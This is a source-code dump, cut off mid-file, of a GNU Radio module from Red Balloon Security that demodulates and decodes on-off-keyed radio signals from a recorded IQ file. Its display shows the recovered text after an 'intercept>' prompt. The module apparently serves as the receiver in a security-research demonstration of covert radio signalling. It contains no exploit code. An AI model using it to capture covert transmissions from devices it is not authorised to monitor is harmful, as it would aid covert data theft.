'_'.join(bits[1:]) 45 | 46 | 47 | class Block(object): 48 | """ 49 | Checks if doxyxml produced objects correspond to a gnuradio block. 50 | """ 51 | 52 | @classmethod 53 | def includes(cls, item): 54 | if not isinstance(item, DoxyClass): 55 | return False 56 | # Check for a parsing error. 57 | if item.error(): 58 | return False 59 | return item.has_member(make_name(item.name()), DoxyFriend) 60 | 61 | 62 | def utoascii(text): 63 | """ 64 | Convert unicode text into ascii and escape quotes. 65 | """ 66 | if text is None: 67 | return '' 68 | out = text.encode('ascii', 'replace') 69 | out = out.replace('"', '\\"') 70 | return out 71 | 72 | 73 | def combine_descriptions(obj): 74 | """ 75 | Combines the brief and detailed descriptions of an object together. 76 | """ 77 | description = [] 78 | bd = obj.brief_description.strip() 79 | dd = obj.detailed_description.strip() 80 | if bd: 81 | description.append(bd) 82 | if dd: 83 | description.append(dd) 84 | return utoascii('\n\n'.join(description)).strip() 85 | 86 | 87 | entry_templ = '%feature("docstring") {name} "{docstring}"' 88 | def make_entry(obj, name=None, templ="{description}", description=None): 89 | """ 90 | Create a docstring entry for a swig interface file. 91 | 92 | obj - a doxyxml object from which documentation will be extracted. 93 | name - the name of the C object (defaults to obj.name()) 94 | templ - an optional template for the docstring containing only one 95 | variable named 'description'. 96 | description - if this optional variable is set then it's value is 97 | used as the description instead of extracting it from obj. 98 | """ 99 | if name is None: 100 | name=obj.name() 101 | if "operator " in name: 102 | return '' 103 | if description is None: 104 | description = combine_descriptions(obj) 105 | docstring = templ.format(description=description) 106 | if not docstring: 107 | return '' 108 | return entry_templ.format( 109 | name=name, 110 | docstring=docstring, 111 | ) 112 | 113 | 114 | def make_func_entry(func, name=None, description=None, params=None): 115 | """ 116 | Create a function docstring entry for a swig interface file. 117 | 118 | func - a doxyxml object from which documentation will be extracted. 119 | name - the name of the C object (defaults to func.name()) 120 | description - if this optional variable is set then it's value is 121 | used as the description instead of extracting it from func. 122 | params - a parameter list that overrides using func.params. 123 | """ 124 | if params is None: 125 | params = func.params 126 | params = [prm.declname for prm in params] 127 | if params: 128 | sig = "Params: (%s)" % ", ".join(params) 129 | else: 130 | sig = "Params: (NONE)" 131 | templ = "{description}\n\n" + sig 132 | return make_entry(func, name=name, templ=utoascii(templ), 133 | description=description) 134 | 135 | 136 | def make_class_entry(klass, description=None): 137 | """ 138 | Create a class docstring for a swig interface file. 139 | """ 140 | output = [] 141 | output.append(make_entry(klass, description=description)) 142 | for func in klass.in_category(DoxyFunction): 143 | name = klass.name() + '::' + func.name() 144 | output.append(make_func_entry(func, name=name)) 145 | return "\n\n".join(output) 146 | 147 | 148 | def make_block_entry(di, block): 149 | """ 150 | Create class and function docstrings of a gnuradio block for a 151 | swig interface file. 152 | """ 153 | descriptions = [] 154 | # Get the documentation associated with the class. 155 | class_desc = combine_descriptions(block) 156 | if class_desc: 157 | descriptions.append(class_desc) 158 | # Get the documentation associated with the make function 159 | make_func = di.get_member(make_name(block.name()), DoxyFunction) 160 | make_func_desc = combine_descriptions(make_func) 161 | if make_func_desc: 162 | descriptions.append(make_func_desc) 163 | # Get the documentation associated with the file 164 | try: 165 | block_file = di.get_member(block.name() + ".h", DoxyFile) 166 | file_desc = combine_descriptions(block_file) 167 | if file_desc: 168 | descriptions.append(file_desc) 169 | except base.Base.NoSuchMember: 170 | # Don't worry if we can't find a matching file. 171 | pass 172 | # And join them all together to make a super duper description. 173 | super_description = "\n\n".join(descriptions) 174 | # Associate the combined description with the class and 175 | # the make function. 176 | output = [] 177 | output.append(make_class_entry(block, description=super_description)) 178 | creator = block.get_member(block.name(), DoxyFunction) 179 | output.append(make_func_entry(make_func, description=super_description, 180 | params=creator.params)) 181 | return "\n\n".join(output) 182 | 183 | 184 | def make_swig_interface_file(di, swigdocfilename, custom_output=None): 185 | 186 | output = [""" 187 | /* 188 | * This file was automatically generated using swig_doc.py. 189 | * 190 | * Any changes to it will be lost next time it is regenerated. 191 | */ 192 | """] 193 | 194 | if custom_output is not None: 195 | output.append(custom_output) 196 | 197 | # Create docstrings for the blocks. 198 | blocks = di.in_category(Block) 199 | make_funcs = set([]) 200 | for block in blocks: 201 | try: 202 | make_func = di.get_member(make_name(block.name()), DoxyFunction) 203 | make_funcs.add(make_func.name()) 204 | output.append(make_block_entry(di, block)) 205 | except block.ParsingError: 206 | print('Parsing error for block %s' % block.name()) 207 | 208 | # Create docstrings for functions 209 | # Don't include the make functions since they have already been dealt with. 210 | funcs = [f for f in di.in_category(DoxyFunction) if f.name() not in make_funcs] 211 | for f in funcs: 212 | try: 213 | output.append(make_func_entry(f)) 214 | except f.ParsingError: 215 | print('Parsing error for function %s' % f.name()) 216 | 217 | # Create docstrings for classes 218 | block_names = [block.name() for block in blocks] 219 | klasses = [k for k in di.in_category(DoxyClass) if k.name() not in block_names] 220 | for k in klasses: 221 | try: 222 | output.append(make_class_entry(k)) 223 | except k.ParsingError: 224 | print('Parsing error for class %s' % k.name()) 225 | 226 | # Docstrings are not created for anything that is not a function or a class. 227 | # If this excludes anything important please add it here. 228 | 229 | output = "\n\n".join(output) 230 | 231 | swig_doc = file(swigdocfilename, 'w') 232 | swig_doc.write(output) 233 | swig_doc.close() 234 | 235 | if __name__ == "__main__": 236 | # Parse command line options and set up doxyxml. 237 | err_msg = "Execute using: python swig_doc.py xml_path outputfilename" 238 | if len(sys.argv) != 3: 239 | raise StandardError(err_msg) 240 | xml_path = sys.argv[1] 241 | swigdocfilename = sys.argv[2] 242 | di = DoxyIndex(xml_path) 243 | 244 | # gnuradio.gr.msq_queue.insert_tail and delete_head create errors unless docstrings are defined! 245 | # This is presumably a bug in SWIG. 246 | #msg_q = di.get_member(u'gr_msg_queue', DoxyClass) 247 | #insert_tail = msg_q.get_member(u'insert_tail', DoxyFunction) 248 | #delete_head = msg_q.get_member(u'delete_head', DoxyFunction) 249 | output = [] 250 | #output.append(make_func_entry(insert_tail, name='gr_py_msg_queue__insert_tail')) 251 | #output.append(make_func_entry(delete_head, name='gr_py_msg_queue__delete_head')) 252 | custom_output = "\n\n".join(output) 253 | 254 | # Generate the docstrings interface file. 255 | make_swig_interface_file(di, swigdocfilename, custom_output=custom_output) 256 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/examples/funtenna_demod/Makefile: -------------------------------------------------------------------------------- 1 | clean: 2 | rm -rf funtenna_out.txt 3 | funtenna_demod: 4 | python funtenna_demod.py 5 | funtenna_demod_prettyprint: 6 | python funtenna_demod.py | python funtenna_pretty_print.py 7 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/examples/funtenna_demod/README: -------------------------------------------------------------------------------- 1 | To run example from the source recording, run: 2 | tar xzf funtenna_iq.tar.gz 3 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/examples/funtenna_demod/funtenna_demod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | ################################################## 3 | # GNU Radio Python Flow Graph 4 | # Title: Funtenna Demod 5 | # Generated: Mon Aug 10 12:47:11 2015 6 | ################################################## 7 | 8 | if __name__ == '__main__': 9 | import ctypes 10 | import sys 11 | if sys.platform.startswith('linux'): 12 | try: 13 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 14 | x11.XInitThreads() 15 | except: 16 | print "Warning: failed to XInitThreads()" 17 | 18 | from gnuradio import blocks 19 | from gnuradio import eng_notation 20 | from gnuradio import filter 21 | from gnuradio import gr 22 | from gnuradio import wxgui 23 | from gnuradio.eng_option import eng_option 24 | from gnuradio.fft import window 25 | from gnuradio.filter import firdes 26 | from gnuradio.wxgui import forms 27 | from gnuradio.wxgui import scopesink2 28 | from gnuradio.wxgui import waterfallsink2 29 | from grc_gnuradio import wxgui as grc_wxgui 30 | from optparse import OptionParser 31 | import funtenna_ook_demod 32 | import wx 33 | 34 | class funtenna_demod(grc_wxgui.top_block_gui): 35 | 36 | def __init__(self): 37 | grc_wxgui.top_block_gui.__init__(self, title="Funtenna Demod") 38 | 39 | ################################################## 40 | # Variables 41 | ################################################## 42 | self.symbol_threshold = symbol_threshold = .4 43 | self.sample_threshold = sample_threshold = 115 44 | self.samp_rate = samp_rate = 250000 45 | self.initial_dec = initial_dec = 20 46 | self.complex_dec = complex_dec = 10 47 | self.center_freq = center_freq = 29494830 48 | self.bandwidth = bandwidth = 550 49 | self.amplitude_filter = amplitude_filter = 10 50 | self.amplitude_dec = amplitude_dec = 1 51 | 52 | ################################################## 53 | # Blocks 54 | ################################################## 55 | self._symbol_threshold_text_box = forms.text_box( 56 | parent=self.GetWin(), 57 | value=self.symbol_threshold, 58 | callback=self.set_symbol_threshold, 59 | label="Amplitude Threshold (n)", 60 | converter=forms.float_converter(), 61 | ) 62 | self.Add(self._symbol_threshold_text_box) 63 | self._sample_threshold_text_box = forms.text_box( 64 | parent=self.GetWin(), 65 | value=self.sample_threshold, 66 | callback=self.set_sample_threshold, 67 | label="Sample Threshold", 68 | converter=forms.float_converter(), 69 | ) 70 | self.Add(self._sample_threshold_text_box) 71 | self.notebook_0 = self.notebook_0 = wx.Notebook(self.GetWin(), style=wx.NB_TOP) 72 | self.notebook_0.AddPage(grc_wxgui.Panel(self.notebook_0), "tab1") 73 | self.notebook_0.AddPage(grc_wxgui.Panel(self.notebook_0), "tab2") 74 | self.notebook_0.AddPage(grc_wxgui.Panel(self.notebook_0), "tab3") 75 | self.Add(self.notebook_0) 76 | self._initial_dec_text_box = forms.text_box( 77 | parent=self.GetWin(), 78 | value=self.initial_dec, 79 | callback=self.set_initial_dec, 80 | label="Initial Decimation", 81 | converter=forms.float_converter(), 82 | ) 83 | self.Add(self._initial_dec_text_box) 84 | _complex_dec_sizer = wx.BoxSizer(wx.VERTICAL) 85 | self._complex_dec_text_box = forms.text_box( 86 | parent=self.GetWin(), 87 | sizer=_complex_dec_sizer, 88 | value=self.complex_dec, 89 | callback=self.set_complex_dec, 90 | label="Complex Filter Decimation", 91 | converter=forms.int_converter(), 92 | proportion=0, 93 | ) 94 | self._complex_dec_slider = forms.slider( 95 | parent=self.GetWin(), 96 | sizer=_complex_dec_sizer, 97 | value=self.complex_dec, 98 | callback=self.set_complex_dec, 99 | minimum=1, 100 | maximum=400, 101 | num_steps=100, 102 | style=wx.SL_HORIZONTAL, 103 | cast=int, 104 | proportion=1, 105 | ) 106 | self.Add(_complex_dec_sizer) 107 | self._center_freq_text_box = forms.text_box( 108 | parent=self.GetWin(), 109 | value=self.center_freq, 110 | callback=self.set_center_freq, 111 | label="Center Frequency", 112 | converter=forms.float_converter(), 113 | ) 114 | self.Add(self._center_freq_text_box) 115 | self._bandwidth_text_box = forms.text_box( 116 | parent=self.GetWin(), 117 | value=self.bandwidth, 118 | callback=self.set_bandwidth, 119 | label="Bandwidth", 120 | converter=forms.float_converter(), 121 | ) 122 | self.Add(self._bandwidth_text_box) 123 | self._amplitude_filter_text_box = forms.text_box( 124 | parent=self.GetWin(), 125 | value=self.amplitude_filter, 126 | callback=self.set_amplitude_filter, 127 | label="Amplitude Filter (Hz)", 128 | converter=forms.float_converter(), 129 | ) 130 | self.Add(self._amplitude_filter_text_box) 131 | _amplitude_dec_sizer = wx.BoxSizer(wx.VERTICAL) 132 | self._amplitude_dec_text_box = forms.text_box( 133 | parent=self.GetWin(), 134 | sizer=_amplitude_dec_sizer, 135 | value=self.amplitude_dec, 136 | callback=self.set_amplitude_dec, 137 | label="Amplitude Decimation", 138 | converter=forms.int_converter(), 139 | proportion=0, 140 | ) 141 | self._amplitude_dec_slider = forms.slider( 142 | parent=self.GetWin(), 143 | sizer=_amplitude_dec_sizer, 144 | value=self.amplitude_dec, 145 | callback=self.set_amplitude_dec, 146 | minimum=0, 147 | maximum=1000, 148 | num_steps=1000, 149 | style=wx.SL_HORIZONTAL, 150 | cast=int, 151 | proportion=1, 152 | ) 153 | self.Add(_amplitude_dec_sizer) 154 | self.wxgui_waterfallsink2_0_0 = waterfallsink2.waterfall_sink_c( 155 | self.notebook_0.GetPage(0).GetWin(), 156 | baseband_freq=0, 157 | dynamic_range=100, 158 | ref_level=0, 159 | ref_scale=2.0, 160 | sample_rate=samp_rate/initial_dec, 161 | fft_size=256, 162 | fft_rate=65, 163 | average=False, 164 | avg_alpha=None, 165 | title="Decimated IQ", 166 | ) 167 | self.notebook_0.GetPage(0).Add(self.wxgui_waterfallsink2_0_0.win) 168 | self.wxgui_scopesink2_1 = scopesink2.scope_sink_f( 169 | self.notebook_0.GetPage(0).GetWin(), 170 | title="Filtered Magnitude", 171 | sample_rate=samp_rate/initial_dec/complex_dec/amplitude_dec, 172 | v_scale=.000000005, 173 | v_offset=0, 174 | t_scale=.5, 175 | ac_couple=False, 176 | xy_mode=False, 177 | num_inputs=1, 178 | trig_mode=wxgui.TRIG_MODE_AUTO, 179 | y_axis_label="Counts", 180 | ) 181 | self.notebook_0.GetPage(0).Add(self.wxgui_scopesink2_1.win) 182 | self.wxgui_scopesink2_0 = scopesink2.scope_sink_f( 183 | self.notebook_0.GetPage(1).GetWin(), 184 | title="Pre-demod", 185 | sample_rate=samp_rate/initial_dec/complex_dec/amplitude_dec, 186 | v_scale=1, 187 | v_offset=.00000, 188 | t_scale=0.5, 189 | ac_couple=False, 190 | xy_mode=False, 191 | num_inputs=1, 192 | trig_mode=wxgui.TRIG_MODE_AUTO, 193 | y_axis_label="Counts", 194 | ) 195 | self.notebook_0.GetPage(1).Add(self.wxgui_scopesink2_0.win) 196 | self.low_pass_filter_0_0 = filter.fir_filter_fff(amplitude_dec, firdes.low_pass( 197 | 1, (samp_rate/initial_dec)/complex_dec, amplitude_filter, 50, firdes.WIN_HAMMING, 6.76)) 198 | self.low_pass_filter_0 = filter.fir_filter_ccf(complex_dec, firdes.low_pass( 199 | 1, samp_rate/initial_dec, bandwidth, 20, firdes.WIN_HAMMING, 6.76)) 200 | self.funtenna_ook_demod_funtenna_demod_1 = funtenna_ook_demod.funtenna_demod(sample_threshold) 201 | self.funtenna_ook_demod_funtenna_decode_1 = funtenna_ook_demod.funtenna_decode(([1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0])) 202 | self.freq_xlating_fir_filter_xxx_0 = filter.freq_xlating_fir_filter_ccc(initial_dec, (1, ), center_freq, samp_rate) 203 | self.blocks_throttle_0 = blocks.throttle(gr.sizeof_gr_complex*1, samp_rate,True) 204 | self.blocks_threshold_ff_0 = blocks.threshold_ff(.000000001 * symbol_threshold, .000000001 * symbol_threshold, 0) 205 | self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, "./funtenna_iq.bin", True) 206 | self.blocks_file_sink_0 = blocks.file_sink(gr.sizeof_char*1, "./funtenna_out.txt", False) 207 | self.blocks_file_sink_0.set_unbuffered(True) 208 | self.blocks_complex_to_mag_squared_0 = blocks.complex_to_mag_squared(1) 209 | 210 | ################################################## 211 | # Connections 212 | ################################################## 213 | self.connect((self.blocks_complex_to_mag_squared_0, 0), (self.low_pass_filter_0_0, 0)) 214 | self.connect((self.blocks_file_source_0, 0), (self.blocks_throttle_0, 0)) 215 | self.connect((self.blocks_threshold_ff_0, 0), (self.funtenna_ook_demod_funtenna_demod_1, 0)) 216 | self.connect((self.blocks_threshold_ff_0, 0), (self.wxgui_scopesink2_0, 0)) 217 | self.connect((self.blocks_throttle_0, 0), (self.freq_xlating_fir_filter_xxx_0, 0)) 218 | self.connect((self.freq_xlating_fir_filter_xxx_0, 0), (self.low_pass_filter_0, 0)) 219 | self.connect((self.freq_xlating_fir_filter_xxx_0, 0), (self.wxgui_waterfallsink2_0_0, 0)) 220 | self.connect((self.funtenna_ook_demod_funtenna_decode_1, 0), (self.blocks_file_sink_0, 0)) 221 | self.connect((self.funtenna_ook_demod_funtenna_demod_1, 0), (self.funtenna_ook_demod_funtenna_decode_1, 0)) 222 | self.connect((self.low_pass_filter_0, 0), (self.blocks_complex_to_mag_squared_0, 0)) 223 | self.connect((self.low_pass_filter_0_0, 0), (self.blocks_threshold_ff_0, 0)) 224 | self.connect((self.low_pass_filter_0_0, 0), (self.wxgui_scopesink2_1, 0)) 225 | 226 | 227 | def get_symbol_threshold(self): 228 | return self.symbol_threshold 229 | 230 | def set_symbol_threshold(self, symbol_threshold): 231 | self.symbol_threshold = symbol_threshold 232 | self._symbol_threshold_text_box.set_value(self.symbol_threshold) 233 | self.blocks_threshold_ff_0.set_hi(.000000001 * self.symbol_threshold) 234 | self.blocks_threshold_ff_0.set_lo(.000000001 * self.symbol_threshold) 235 | 236 | def get_sample_threshold(self): 237 | return self.sample_threshold 238 | 239 | def set_sample_threshold(self, sample_threshold): 240 | self.sample_threshold = sample_threshold 241 | self._sample_threshold_text_box.set_value(self.sample_threshold) 242 | self.funtenna_ook_demod_funtenna_demod_1.set_thresh(self.sample_threshold) 243 | 244 | def get_samp_rate(self): 245 | return self.samp_rate 246 | 247 | def set_samp_rate(self, samp_rate): 248 | self.samp_rate = samp_rate 249 | self.blocks_throttle_0.set_sample_rate(self.samp_rate) 250 | self.low_pass_filter_0.set_taps(firdes.low_pass(1, self.samp_rate/self.initial_dec, self.bandwidth, 20, firdes.WIN_HAMMING, 6.76)) 251 | self.low_pass_filter_0_0.set_taps(firdes.low_pass(1, (self.samp_rate/self.initial_dec)/self.complex_dec, self.amplitude_filter, 50, firdes.WIN_HAMMING, 6.76)) 252 | self.wxgui_scopesink2_0.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 253 | self.wxgui_scopesink2_1.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 254 | self.wxgui_waterfallsink2_0_0.set_sample_rate(self.samp_rate/self.initial_dec) 255 | 256 | def get_initial_dec(self): 257 | return self.initial_dec 258 | 259 | def set_initial_dec(self, initial_dec): 260 | self.initial_dec = initial_dec 261 | self._initial_dec_text_box.set_value(self.initial_dec) 262 | self.low_pass_filter_0.set_taps(firdes.low_pass(1, self.samp_rate/self.initial_dec, self.bandwidth, 20, firdes.WIN_HAMMING, 6.76)) 263 | self.low_pass_filter_0_0.set_taps(firdes.low_pass(1, (self.samp_rate/self.initial_dec)/self.complex_dec, self.amplitude_filter, 50, firdes.WIN_HAMMING, 6.76)) 264 | self.wxgui_scopesink2_0.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 265 | self.wxgui_scopesink2_1.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 266 | self.wxgui_waterfallsink2_0_0.set_sample_rate(self.samp_rate/self.initial_dec) 267 | 268 | def get_complex_dec(self): 269 | return self.complex_dec 270 | 271 | def set_complex_dec(self, complex_dec): 272 | self.complex_dec = complex_dec 273 | self._complex_dec_slider.set_value(self.complex_dec) 274 | self._complex_dec_text_box.set_value(self.complex_dec) 275 | self.low_pass_filter_0_0.set_taps(firdes.low_pass(1, (self.samp_rate/self.initial_dec)/self.complex_dec, self.amplitude_filter, 50, firdes.WIN_HAMMING, 6.76)) 276 | self.wxgui_scopesink2_0.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 277 | self.wxgui_scopesink2_1.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 278 | 279 | def get_center_freq(self): 280 | return self.center_freq 281 | 282 | def set_center_freq(self, center_freq): 283 | self.center_freq = center_freq 284 | self._center_freq_text_box.set_value(self.center_freq) 285 | self.freq_xlating_fir_filter_xxx_0.set_center_freq(self.center_freq) 286 | 287 | def get_bandwidth(self): 288 | return self.bandwidth 289 | 290 | def set_bandwidth(self, bandwidth): 291 | self.bandwidth = bandwidth 292 | self._bandwidth_text_box.set_value(self.bandwidth) 293 | self.low_pass_filter_0.set_taps(firdes.low_pass(1, self.samp_rate/self.initial_dec, self.bandwidth, 20, firdes.WIN_HAMMING, 6.76)) 294 | 295 | def get_amplitude_filter(self): 296 | return self.amplitude_filter 297 | 298 | def set_amplitude_filter(self, amplitude_filter): 299 | self.amplitude_filter = amplitude_filter 300 | self._amplitude_filter_text_box.set_value(self.amplitude_filter) 301 | self.low_pass_filter_0_0.set_taps(firdes.low_pass(1, (self.samp_rate/self.initial_dec)/self.complex_dec, self.amplitude_filter, 50, firdes.WIN_HAMMING, 6.76)) 302 | 303 | def get_amplitude_dec(self): 304 | return self.amplitude_dec 305 | 306 | def set_amplitude_dec(self, amplitude_dec): 307 | self.amplitude_dec = amplitude_dec 308 | self._amplitude_dec_slider.set_value(self.amplitude_dec) 309 | self._amplitude_dec_text_box.set_value(self.amplitude_dec) 310 | self.wxgui_scopesink2_0.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 311 | self.wxgui_scopesink2_1.set_sample_rate(self.samp_rate/self.initial_dec/self.complex_dec/self.amplitude_dec) 312 | 313 | 314 | if __name__ == '__main__': 315 | parser = OptionParser(option_class=eng_option, usage="%prog: [options]") 316 | (options, args) = parser.parse_args() 317 | tb = funtenna_demod() 318 | tb.Start(True) 319 | tb.Wait() 320 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/examples/funtenna_demod/funtenna_iq.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funtenna/funtenna_2015/4757a05a246ece93e58bc2986c8ca4e6ae202793/gr-funtenna_ook_demod/examples/funtenna_demod/funtenna_iq.tar.gz -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/examples/funtenna_demod/funtenna_pretty_print.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | from blessings import Terminal 4 | 5 | 6 | def slowprint(str_val, delay=0.15): 7 | str_val = str_val.strip() 8 | for i in str_val: 9 | sys.stdout.write(i) 10 | sys.stdout.flush() 11 | time.sleep(delay) 12 | 13 | 14 | def main(): 15 | term = Terminal() 16 | letters_q = [] 17 | i = 0 18 | while True: 19 | i += 1 20 | line = sys.stdin.readline() 21 | if len(line) == 0: continue 22 | if i%5 == True and "sync_idx" in line: 23 | sys.stdout.write('\n') 24 | slowprint('Acquiring Signal...', delay=.05) 25 | if "Sync" in line: 26 | sys.stdout.write('\n\t\t\t\t') 27 | print term.green 28 | slowprint('Acquired.',delay=0.2) 29 | if line[0] == '$': 30 | letters_q.append(line[1]) 31 | if line[1] == '@': 32 | print term.green 33 | sys.stdout.write('\n\t\t\t\tintercept> ') 34 | sys.stdout.flush() 35 | 36 | slowprint(''.join(letters_q)[:-1], delay=0.05) 37 | letters_q = [] 38 | elif line[0] == '@': 39 | 40 | print term.white 41 | sys.stdout.write("%f" % time.time()) 42 | slowprint("~] " + line[1:], delay=0.05) 43 | 44 | 45 | if __name__ == "__main__": 46 | print 'hi' 47 | main() 48 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/grc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | install(FILES 21 | funtenna_ook_demod_funtenna_demod.xml 22 | funtenna_ook_demod_funtenna_decode.xml DESTINATION share/gnuradio/grc/blocks 23 | ) 24 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/grc/funtenna_ook_demod_funtenna_decode.xml: -------------------------------------------------------------------------------- 1 | 2 | funtenna_decode 3 | funtenna_ook_demod_funtenna_decode 4 | FUNTENNA_OOK_DEMOD 5 | import funtenna_ook_demod 6 | funtenna_ook_demod.funtenna_decode($preamble) 7 | 12 | 13 | Preamble 14 | preamble 15 | [1,0,1,0,1,0,1,0] 16 | int_vector 17 | 18 | 19 | 24 | 25 | in 26 | byte 27 | 28 | 29 | 34 | 35 | out 36 | byte 37 | 38 | 39 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/grc/funtenna_ook_demod_funtenna_demod.xml: -------------------------------------------------------------------------------- 1 | 2 | Funtenna demod 3 | funtenna_ook_demod_funtenna_demod 4 | FUNTENNA_OOK_DEMOD 5 | import funtenna_ook_demod 6 | funtenna_ook_demod.funtenna_demod($samp_thresh) 7 | set_thresh($samp_thresh) 8 | 9 | Samp_thresh 10 | samp_thresh 11 | int 12 | 13 | 14 | in 15 | float 16 | 17 | 18 | out 19 | byte 20 | 21 | 22 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/include/funtenna_ook_demod/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011,2012 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Install public header files 22 | ######################################################################## 23 | install(FILES 24 | api.h 25 | funtenna_demod.h 26 | funtenna_decode.h DESTINATION include/funtenna_ook_demod 27 | ) 28 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/include/funtenna_ook_demod/api.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2011 Free Software Foundation, Inc. 3 | * 4 | * This file is part of GNU Radio 5 | * 6 | * GNU Radio is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 3, or (at your option) 9 | * any later version. 10 | * 11 | * GNU Radio is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with GNU Radio; see the file COPYING. If not, write to 18 | * the Free Software Foundation, Inc., 51 Franklin Street, 19 | * Boston, MA 02110-1301, USA. 20 | */ 21 | 22 | #ifndef INCLUDED_FUNTENNA_OOK_DEMOD_API_H 23 | #define INCLUDED_FUNTENNA_OOK_DEMOD_API_H 24 | 25 | #include 26 | 27 | #ifdef gnuradio_funtenna_ook_demod_EXPORTS 28 | # define FUNTENNA_OOK_DEMOD_API __GR_ATTR_EXPORT 29 | #else 30 | # define FUNTENNA_OOK_DEMOD_API __GR_ATTR_IMPORT 31 | #endif 32 | 33 | #endif /* INCLUDED_FUNTENNA_OOK_DEMOD_API_H */ 34 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/include/funtenna_ook_demod/funtenna_decode.h: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | 22 | #ifndef INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_H 23 | #define INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_H 24 | 25 | #include 26 | #include 27 | 28 | namespace gr { 29 | namespace funtenna_ook_demod { 30 | 31 | /*! 32 | * \brief <+description of block+> 33 | * \ingroup funtenna_ook_demod 34 | * 35 | */ 36 | class FUNTENNA_OOK_DEMOD_API funtenna_decode : virtual public gr::block 37 | { 38 | public: 39 | typedef boost::shared_ptr sptr; 40 | 41 | /*! 42 | * \brief Return a shared_ptr to a new instance of funtenna_ook_demod::funtenna_decode. 43 | * 44 | * To avoid accidental use of raw pointers, funtenna_ook_demod::funtenna_decode's 45 | * constructor is in a private implementation 46 | * class. funtenna_ook_demod::funtenna_decode::make is the public interface for 47 | * creating new instances. 48 | */ 49 | static sptr make(const std::vector &preamble); 50 | }; 51 | 52 | } // namespace funtenna_ook_demod 53 | } // namespace gr 54 | 55 | #endif /* INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_H */ 56 | 57 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/include/funtenna_ook_demod/funtenna_demod.h: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a 